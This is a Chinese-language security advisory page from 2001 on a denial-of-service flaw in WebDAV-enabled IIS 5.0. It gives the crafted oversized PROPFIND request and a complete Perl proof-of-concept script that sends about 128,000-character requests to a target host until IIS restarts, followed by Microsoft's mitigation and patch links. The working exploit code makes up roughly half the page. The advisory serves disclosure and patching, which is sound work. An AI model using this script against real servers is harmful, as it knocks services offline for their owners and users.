xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IIS 5.0 propfind 存在拒绝服务攻击


发布时间:2001-03-19
更新时间:2001-03-19
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
启用WEBDAV的IISS5.0
详细描述
Georgi Guninski发现IIS5如果启用了WEBDAV的就存在拒绝服务攻击,通过发送构造过的请求可以导致IIS重新启动。还会导致W2K机器消耗内存和CPU处理率。

问题发生在发送如下超长的prpfind请求:

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:" xmlns:u="over:"><a:prop><a:displayname /><u:<about 128008 characters>/></a:prop>
</a:propfind>

IIS会响应500错误代码,持续请求会导致IIS服务重新启动。

测试代码
--vv5.pl-------------------------------------------------------------------------
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;

print "IIS 5.0 propfind\n";

$port = @ARGV[1];
$host = @ARGV[0];


sub vv()
{

$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
# ^^^^ This is another issue and also works with length ~>65000


$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
$l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}


do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";
---------------------------------------------------------------------------

解决方案
怎么不启用WebDav扩展和PROPFIND,请查看如下地址描述:

http://www.microsoft.com/technet/support/kb.asp?ID=241520

补丁程序你可以到下面的地址下载:
http://www.microsoft.com/technet/security/bulletin/ms01-016.asp

Microsoft发布了如下的安全公告请看下面地址:

http://www.microsoft.com/technet/security/bulletin/MS01-016.asp

相关信息
这个信息有Georgi Guninski(guninski@GUNINSKI.COM)提供。